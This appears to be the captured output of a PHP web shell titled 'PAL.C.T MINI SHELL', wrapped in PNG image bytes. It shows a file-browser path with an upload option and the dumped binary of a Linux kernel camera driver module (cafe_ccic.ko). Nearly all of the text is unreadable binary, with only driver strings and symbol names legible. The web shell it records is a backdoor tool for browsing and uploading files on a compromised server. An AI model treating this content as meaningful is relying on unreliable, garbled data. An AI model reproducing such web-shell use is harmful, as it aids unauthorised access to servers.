php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /lib/modules/2.6.32-504.3.3.el6.i686/kernel/drivers/media/video/
upload
files >> //lib/modules/2.6.32-504.3.3.el6.i686/kernel/drivers/media/video/cafe_ccic.ko

ELFX4("!GNUcoW8BrwÍv'StCtHt1҉[ø[Ð@T@PÐ&$Ӊt$ppۍlu$t$ЃAÍt݉׍&'$A(A,A0A4A8A<A@A 1Ðt&1Í&ЃÐt&1Í'$Ht$؉։|$l$tG@t,pPt%։Ɖ$t$|$l$Ðܐ$Ht$؉։|$l$tG@t,pLt%։Ɖ$t$|$l$Ðܐ$Ht$؉։|$ωl$tF@t4HHt-щʼn$Gt$|$l$Ðԉ'$Ht$؉։|$ωl$tF@t4HDt-щʼn$Gt$|$l$Ðԉ'$Ht$؉։|$l$tGt-p$t&։Ɖ$t$|$l$fې$Ht$؉։|$l$tGt-p t&։Ɖ$t$|$l$fې$Ht$؉։|$l$tGt-pt&։Ɖ$t$|$l$fې$ˉt$l$|$xpH;skX߃1$t$|$l$Ív'(\$ˉt$|$ ׉l$$A;t-;t ;t;DFHSCFT$SD$T$ST$ST$tG@t]HptVT$щ‰$|$L$D$${|$Kl$$C{|$ Nt$KCЋ\$(ú뭉'SXTCTHCPCPucCT[H$Ét$։|$|$l$!ҋl$!Ћ	$|$t$&'VSÃ$D$(D$T$0T$<T$tJP|Jtu1хu&tPRtRJttKщƋ
T$D$	L$tH	tI$tщ1[^Ív뺐1[^Ív'UWVSÃHTz=Lǃ1Et&D$95{`D$D$T$T$`$uDtJPtCD$D$t5=wxT$$T$D$/vDŽC`D$`$sFC`D$`$[^_]Ív놐8&t
1[^_]Ã=~C`D$`$1룍k`T$D$`T$tXFfuu(D$@D$tD$T$$T$T$ǃ 뗍t$ƸO$\|$NjƉ
1$t$|$Ít$ƸO$\|$NjƉ%$t$|$ÍH4l$DT$P\$8t$<t$L|$@|$TT$t(`\$8t$<|$@l$DHÍt&D$X\T$T$l$D$ ¸ƋD$%
D$¼D$ 6umd`D$(D$0D$$l$$D$,D$0D$4L$D$u
u؋D$ŋƉG1fL$\l$L$ ¸ƋD$%
D$ ¼
ruqdD$(D$0D$0l$$D$4`D$$D$,D$t&D$u
u؋D$ŋƉD$X1bD$ T$L$D$D$T$L$C``$*f|$D$@``$D$ T$L$D$D$T$L$렋T$ L$D$T$L$C``$D$ T$D$4D$T$ΐ&WVStX1OP~vX{9r11kXD8L9w዆dž1dž[^_ø[^_Í&ȉ$Ӊt$A$A(uAtAttӋ$t$f$t$F$a"1$t$Ít&tÍvA$A2A0A41Ít&'S9ȉC91CPCT[fUWVS,L$XpHD${PtD$,[^_]ÍvD$9D$D$tA\NJ‰6vf|$1Gful$l$dD$D$D$;uw{Pu{D$;|$uЋD$D$D$ D$D$$D$$D$(fF@u?$;tۋ$t{P$\$t$Ή|$l$PpH؉$6$;skX1Ft$\$t$|$l$Í&uӍ\F$$ʼn1똍S˸v	[Í&A C,1[Ã\$Ӊ|$t$l$ppBjL

t\$t$|$l$Í&H$t+9n<t2FX1vx<ƃX9t9r$둍tVL1ɉuځKsTCH0NCT@P뼍 t$\\$É|$l$͉T${TG;rǃ1CTt\ǃ8D$9F¸u
L$$1҉1Q\$t$|$l$ fǃ똍t&C`T$D$X`$T$뮍t&,l$(\\$Ӊ|$$t$ 0t/?usu3v\$t$ |$$l$(,Ívv1ސt&0`$뜍&?0l1CTT$l$ljL$T$f;t77'CPC`D$`$;wl$8KTt&cC`t$D$x`$DvLt&CPǃD$$T$*D$&;r1ɺ<$1ɺ,$?CPlvUWVSÃ\D$D$T$CT1퍓D$T$F;r
ǃT$2D$;2T$D$8GL8GG4GGD$D$GBL$94T$9tl$T$D$[^_]C`D$C`$묐&UWVSÃ1D$C`T$`D$T$tyGfuD$u*D$@D$tD$T$$D$T$T$DŽ9Wǃ[^_]ú s&t$\$É|$´Ǹ280\1@@
$t$|$&WV\SÉ80Ǹ\10
000Ǹ
@00@@%<<1,ˆf1[^_t&WV\SÉNj@@%80\10´1´[^_'VSFpHÉCXuKTCXCX1[^Í&'hdЀl$deD$T1\$Xt$\D$$|$`D$ fxD$@D$D$$tE`t;T$Te3:\$Xt$\|$`l$dhÍHT$D$^ǃ\CPKT`l$1k` r񍃨ى ǃ$ǃ(ǃ,YUYVǃ0ǃ4ǃ8`	ǃD11҉
1ɺ\$D$l$~؍\D$Nj,,
9ǃ\ǃC`ڃ`((D$)-vDT$ D$T$ fǃBT$D$D$D$B$D$CP<DD$LD$(D$,P
T$(хD$L= ؾCP{d:D$D$d1CdǃD$D$ED$D$}C``$D$렉D$D$|C``$ȍChtD$tD$C``$$T$$,t&UWVSÍ\ Ƌ<<XACTdD$D$D$l$D$lD$D$D$vD$CTt
u݋D$CTtC`D$`$CPƋ,, [^_]Í$Í@`t$|$l$ljuoPoP$t$|$l$Ðt&$t$|$ppt؋t$$|$Ít&H~Pt
ύt&1'萍t&t$|$lj$XpHCX9{\CXtBt1$t$|$ÍtщȍrCXC\뤍VS@`HsX~D$$C``$t7 C`ڋC`Cd؃[^t$$[^
\$Él$t$|$ppyt\$t$|$l$Í&H$$)u~PM&ʼn뮍v~Pt
vF\t9u^\99kXЀ$$tdž11uHvE@EPuT]EEE8E<9v|kXmm8%E@$EL$ut#$$	1f뽉$$fUWVSÍ\Nj>@@
1(4?%	ȃ4184$?$%	,=RGBP=YUYV=R444tVD$C`D$`$<<%?cT1[^_]Ív<<%
뜋@@%<<%̀3&<<%UWVSÅCT\ǃŋtST19w񋓤?ǃ0,,?{P<<1[^_]Ív
B[^_]1¸Őt&|$Ǎ@`\$t$Ét\$t$|$ÍusHKX~HAKTSPtVtu؋t$\$|$V뽍&D$DC``$Mt&CP<t&|$$t$Xpt$t$|$Ít&H{Ptʍ&tǃ̍t&8t$,Ɖ|$0l$4͉\$(T$XpHCPAxD$<T$$uBC\uf{Ps\tu xQD$<T$$‰T$T$\$(t$,|$0Ћl$48Í9tʐt&dD$D$ D$ D$$lD$D$D$vD$T$y
u׋D$T$3D$C``$	t&u
t8&\$Ӊt$Ή|$l$zPtЋ\$t$|$l$ËuۋV;t-;t ;t;DډHuHF$F҉(F,F0F4F8F<F @GDt=;8ret6$$u1҉$u뽉?n$NSM-u
Fz%gs%			"	K	b					

 
l
s



<`p0;y
,
>
O
V
h
s





*
@ZO


@O BQc+CN}4Lc[fq#?9Q\41h
z>Vl%3DTd{"EM_Wd
iGN_j

5>MWa
C [ d       
  	!!-!2!?!\!j!q!x!}!!!!!!!!!%"<"I"Z"k"v"}"""""""Y#f####$0$?$M$w$$$$$$$,%O%z%%%F&{&&&&''':'d't''''
''((*(B(X(f(y(((((	)P)^)o))))))#*=*Y***	++w++*,U,n,,,,
,6-<-D-I-Q-V-^-c-h--.N|%/$ ffSD$$9 t$؃[
#(5:OLPCXO1cafe@flipmax_buffersmin_buffersdma_buf_sizen_dma_bufsalloc_bufs_at_readP+P@#`,$P * #p0 (,04 Dhlpt048Failed to allocate DMA buffer
/builddir/build/BUILD/kernel-2.6.32-504.3.3.el6/linux-2.6.32-504.3.3.el6.i686/arch/x86/include/asm/dma-mapping.hInsufficient DMA buffers, cannot operate
Will limp along with only 2 buffers
SMBUS write (%02x/%02x/%02x) timed out
SMBUS write (%02x/%02x/%02x) error
SMBUS read (%02x/%02x) timed out
deliver_buffer: No next buffer
Frame overrun on %d, frames lost
Frame interrupt in non-operational state
<5>Marvell M88ALP01 'CAFE' Camera Controller version %d
<3>Unable to register cafe_ccic driver
<3>Unable to ioremap cafe-ccic regs
<3>Unable to register cafe i2c adapter
Cam init with device in funky state %dUnable to alloc DMA buffers at load will try again later.Timeout waiting for DMA to end
<4>pci_remove on unknown pdev %p
Removing a device with users!
Unable to re-enable device on resume!
Y*x~(()]* $(,`	,,funky xfer size %d
SMBUS read (%02x/%02x) error
Cameracafe_ccicNo valid bufs in tasklet!
&cam->s_mutexcafe-ccicov7670Unsupported sensor type 0x%xUnknown format %x
read() operation timed out
cafe1000-ccicYUYV 4:2:2RGB 444RGB 565Raw RGB Bayer}}parm=flip:If set, the sensor will be instructed to flip the image vertically.parmtype=flip:boolparm=max_buffers:The maximum number of streaming I/O buffers an application will be allowed to allocate.  These buffers are big and live in vmalloc space.parmtype=max_buffers:uintparm=min_buffers:The minimum number of streaming I/O buffers we are willing to work with.parmtype=min_buffers:uintparm=dma_buf_size:The size of the allocated DMA buffers.  If actual operating parameters require larger buffers, an attempt to reallocate will be made.parmtype=dma_buf_size:uintparm=n_dma_bufs:The number of DMA buffers to allocate.  Can be either two (saves memory, makes timing tighter) or three.parmtype=n_dma_bufs:uintparm=alloc_bufs_at_read:Non-zero value causes DMA buffers to be allocated when the video capture device is read, rather than at module load time.  This saves memory, but decreases the chances of successfully getting those buffers.parmtype=alloc_bufs_at_read:boollicense=GPLdescription=Marvell 88ALP01 CMOS Camera Controller driverauthor=Jonathan Corbet <corbet@lwn.net>srcversion=FB306E9F74BE95D8FCF174Aalias=pci:v000011ABd00004102sv*sd*bc*sc*i*depends=videodev,i2c-core,v4l2-commonvermagic=2.6.32-504.3.3.el6.i686 SMP mod_unload modversions 686 D$IUa$ny$ $(048<DHLPX\`dlptnAmodule_layoutCvideo_ioctl2video_device_release_emptyparam_get_uintH̅2param_set_uintparam_get_bool>a-param_set_boolԣpci_restore_state
5Vvmalloc_user[__kmallocֵ$video_unregister_device"pci_disable_deviceEw,pci_save_state__stack_chk_fail\	nSpci_iounmapث
free_irqZi2c_del_adapter Lvideo_register_deviceh,v4l2_i2c_new_subdev_cfg`dmi_check_systemmNTi2c_add_adapter+dev_set_drvdatamrequest_threaded_irq$'lpci_iomap
qhpci_set_masterlpci_enable_devicetasklet_init__init_waitqueue_head[|J__mutex_init[v4l2_device_unregisterev4l2_device_registerEkmem_cache_alloc_tracemalloc_sizes9video_devdatamsleep˗y__pci_register_driver՗#printkκ`.memcpy__tasklet_schedule7printk_ratelimitT.d__wake_ups8_spin_lock-copy_to_user5_remap_vmalloc_rangesstrlcpyC__list_addL6BschedulestrcpyNv4l2_chip_match_hostzkfreevfree"&˜finish_wait?,schedule_timeout/3prepare_to_wait'|autoremove_wake_function}per_cpu__current_taskdev_get_drvdatayK_spin_unlock_irqrestore*q_spin_lock_irqsave__const_udelayR0warn_slowpath_null<dma_release_from_coherentpv_irq_opsvnqdev_errw~dev_warne(x86_dma_fallback_devՙu	dma_alloc_from_coherentCdma_ops[+memsety!lCiowrite32_ioread32(mutex_unlockmutex_lockĈpci_unregister_driver
`	$")YUYVR444
RGBPBA81
A(
,048D



cafe_ccic<`dmodule.sig^T
	J?OZ&EPMפ4WԎM\7s5zVoٯmJDوvaAFJԌW/P	
/.@?PBMKg	{
 t oow
w(o;poNodPfy@0R`P	dP
Z,
<pR0|k5. t`@0		 x%E/BW0[fy@R		!"[  #[6#G$W$kw& ()*|P+,RNN!D	2G`tI	@Z(U	X<)a
	ByUlPn	  !dy	
A`:.(=8F(	T	gw# +`&A'7IS]Lkz
		E#	4	=	L	]	j	x				8				
!
4
<
I
\
k










!6FQdjw/JQ[cafe_ccic.ccafe_smbus_func__cafe_cam_resetcafe_v4l_vm_opencafe_v4l_pollcafe_vidioc_g_fmt_vid_capcafe_vidioc_g_inputcafe_vidioc_s_inputcafe_vidioc_s_stdcafe_exitcafe_pci_drivercafe_vidioc_enum_frameintervalscafe_vidioc_enum_framesizescafe_vidioc_s_parmn_dma_bufscafe_vidioc_g_parmcafe_vidioc_s_ctrlcafe_vidioc_g_ctrlcafe_vidioc_queryctrlcafe_vidioc_querybufcafe_vidioc_try_fmt_vid_capcafe_formatscafe_v4l_vm_closecafe_reg_write_maskcafe_cam_configureflipcafe_alloc_dma_bufsdma_buf_sizecafe_smbus_write_donecafe_smbus_read_donecafe_smbus_xfercafe_free_sio_bufferscafe_vidioc_g_chip_identcafe_vidioc_enum_inputcafe_vidioc_querycapcafe_vidioc_dqbufcafe_vidioc_qbufcafe_vidioc_enum_fmt_vid_capcafe_v4l_mmapcafe_v4l_vm_opscafe_deliver_buffercafe_irqcafe_frame_taskletcafe_initcafe_free_dma_bufscafe_ctlr_power_downcafe_ctlr_initcafe_ctlr_power_upcafe_v4l_opencafe_pci_probe__key.34989__key.34991__key.34992cafe_smbus_algoolpc_xo1_dmicafe_v4l_templatealloc_bufs_at_readcafe_ctlr_stop_dmacafe_pci_suspendcafe_vidioc_streamoffcafe_v4l_releasecafe_pci_removecafe_vidioc_reqbufsmin_buffersmax_bufferscafe_ctlr_configurecafe_read_setupcafe_pci_resumecafe_vidioc_streamoncafe_v4l_readcafe_vidioc_s_fmt_vid_cap__mod_flip116__mod_fliptype113__param_flip__param_str_flip__mod_max_buffers110__mod_max_bufferstype106__param_max_buffers__param_str_max_buffers__mod_min_buffers103__mod_min_bufferstype100__param_min_buffers__param_str_min_buffers__mod_dma_buf_size97__mod_dma_buf_sizetype93__param_dma_buf_size__param_str_dma_buf_size__mod_n_dma_bufs90__mod_n_dma_bufstype87__param_n_dma_bufs__param_str_n_dma_bufs__mod_alloc_bufs_at_read84__mod_alloc_bufs_at_readtype79__param_alloc_bufs_at_read__param_str_alloc_bufs_at_read__mod_license61__mod_description60__mod_author59cafe_idscafe_v4l_fopscafe_v4l_ioctl_opscafe_ccic.mod.c_rheldata__mod_srcversion103__mod_alias101__module_depends____versions__mod_vermagic5strcpypci_save_statefree_irqioread32dma_opsvideo_ioctl2v4l2_i2c_new_subdev_cfgdev_get_drvdatapci_enable_deviceiowrite32pci_iomap__this_moduleparam_get_booldev_warnfinish_wait__pci_register_drivercleanup_moduleparam_set_uintprepare_to_waitmemcpykfree__wake_upkmem_cache_alloc_tracepci_unregister_driverinit_moduleschedule_timeoutscheduleparam_get_uint__stack_chk_failvmalloc_uservideo_devdatapv_irq_opsi2c_del_adapterdma_alloc_from_coherent__mod_pci_device_tablerequest_threaded_irqdma_release_from_coherenttasklet_init_spin_unlock_irqrestoremutex_lockwarn_slowpath_nullstrlcpycopy_to_user__tasklet_scheduleparam_set_boolvideo_unregister_deviceprintk__mutex_initdev_errpci_iounmappci_restore_statememsetdmi_check_systempci_set_mastervideo_register_deviceprintk_ratelimit__init_waitqueue_headv4l2_device_registeri2c_add_adapter__list_add_spin_lock_irqsavevfreemutex_unlock__const_udelayx86_dma_fallback_dev_spin_lockv4l2_device_unregisterpci_disable_devicemalloc_sizesv4l2_chip_match_hostautoremove_wake_functiondev_set_drvdataremap_vmalloc_rangevideo_device_release_emptymsleep__kmallocper_cpu__current_taskcafe_ccic.ko.debug܁.rodata.str1.1.rodata.str1.4.rel.data.rheldata.rel.rodata.symtab.strtab.shstrtab.note.gnu.build-id.rel.gnu.linkonce.this_module.note.module.sig.gnu_debuglink.rel__param.modinfo.rel.smp_locks__versions.rel.parainstructions.rel.altinstructions.bss.altinstr_replacement.rel.text.rel.init.text.rel.exit.textY4$#`D.	.p<:
8	 :	0:
-::E)	:@7:` 3	 A	28BkE0	E`4F	DF2TFTG	lG G Mx	M)NN #@a8 	xb`pbL l	,d<d<dx?dGqq}O~G
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`